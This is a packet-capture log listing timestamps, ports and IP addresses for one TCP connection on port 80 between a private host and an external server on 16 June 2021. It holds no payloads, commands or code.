Jun 16, 2021 11:55:53.406707048 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406718016 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.406730890 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406753063 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.406753063 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406776905 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406800032 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406826019 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406826973 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.406836033 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.406851053 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406872988 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406884909 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.406894922 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406905890 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.406919003 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406940937 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406951904 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.406964064 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.406984091 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.406987906 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.407015085 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.407043934 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.407073975 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.407088041 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.407109976 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.407160997 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.407205105 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.407248020 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.407270908 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.407299995 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.407304049 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.407334089 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.407350063 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.407366037 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.407394886 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.407399893 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.407437086 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.407454014 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.410871029 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415138960 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415177107 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415205956 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415240049 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415261984 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415271044 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415281057 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415307045 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415316105 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415337086 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415337086 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415365934 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415388107 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415405035 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415419102 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415438890 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415451050 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415453911 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415462017 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415488005 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415499926 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415515900 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415515900 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415545940 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415549994 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415574074 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415586948 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415601015 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415605068 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415631056 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415642977 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415661097 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415662050 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415693998 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415700912 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415715933 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415723085 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415746927 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415750027 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415775061 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415779114 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415810108 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415817022 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415843964 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415848017 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415863991 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415872097 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415890932 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415899992 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415932894 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415940046 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415962934 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.415977955 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415990114 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.415991068 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416023970 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416055918 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416064978 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416073084 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416079044 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416085005 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416114092 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416122913 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416141987 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416146040 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416174889 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416182995 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416198969 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416204929 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416224003 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416235924 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416255951 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416264057 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416292906 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416305065 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416320086 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416332006 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416347980 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416353941 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416377068 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416388988 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416409016 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416412115 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416435003 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416443110 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416465998 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416471004 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416500092 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416512012 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416527033 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416543007 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416549921 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416564941 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416579008 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416590929 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416611910 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416618109 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416644096 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416656017 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416668892 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416672945 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416699886 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416712046 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416728020 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416755915 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416788101 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416819096 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416821957 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416832924 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416838884 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416842937 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416847944 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416851997 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416877985 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416879892 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416908979 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416913986 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416934967 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416937113 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416954994 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416966915 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.416996956 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.416996956 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417031050 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417035103 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417052984 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417058945 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417087078 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417097092 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417103052 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417114973 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417146921 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417174101 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417201996 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417221069 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417239904 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417259932 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417263985 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417277098 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417294025 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417311907 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417330027 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417346001 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417373896 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417395115 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417418003 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417438984 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417462111 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417464972 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417474985 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417479992 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417484999 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417486906 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417490005 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417495012 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417499065 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417503119 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417512894 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417516947 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417535067 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417556047 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417555094 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417571068 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417577982 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417577982 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417598963 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417613983 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417620897 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417634010 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417644978 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417649031 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417671919 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417685032 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417697906 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417720079 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417727947 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417740107 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417741060 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417762041 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417762995 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417783976 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417785883 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417800903 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417807102 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417829037 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417854071 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417865038 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417875051 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417880058 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417881966 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417901039 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417923927 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417948008 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417951107 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417958975 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417965889 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417970896 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417972088 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.417988062 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.417994976 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418015957 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418034077 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418040991 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418042898 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418064117 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418067932 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418083906 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418088913 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418102980 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418112993 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418135881 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418149948 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418160915 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418167114 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418175936 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418184996 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418206930 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418207884 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418234110 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418246031 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418256998 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418262005 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418277979 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418298960 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418320894 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418329000 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418335915 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418340921 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418342113 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418346882 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418365002 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418366909 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418389082 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418390989 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418409109 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418415070 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418433905 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418437958 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418459892 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418463945 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418483019 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418483973 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418507099 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418514013 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418538094 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418548107 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418557882 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418559074 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418574095 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418580055 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418603897 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418613911 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418625116 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418633938 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418657064 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418669939 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418693066 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418715000 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418715954 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418724060 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418730021 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418735027 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418756962 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418768883 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418783903 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418787003 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418809891 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418823957 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418831110 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418839931 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418850899 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418853998 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418874025 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418881893 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418896914 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418898106 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418915987 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418917894 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418941021 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418941975 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418965101 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418966055 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.418984890 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.418984890 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.419007063 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.419007063 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.419027090 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.419033051 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.419050932 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.419058084 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.419075012 CEST	80	49167	103.155.82.236	192.168.2.22
Jun 16, 2021 11:55:53.419080019 CEST	49167	80	192.168.2.22	103.155.82.236
Jun 16, 2021 11:55:53.419087887 CEST	49167	80	192.168.2.22	103.155.82.236
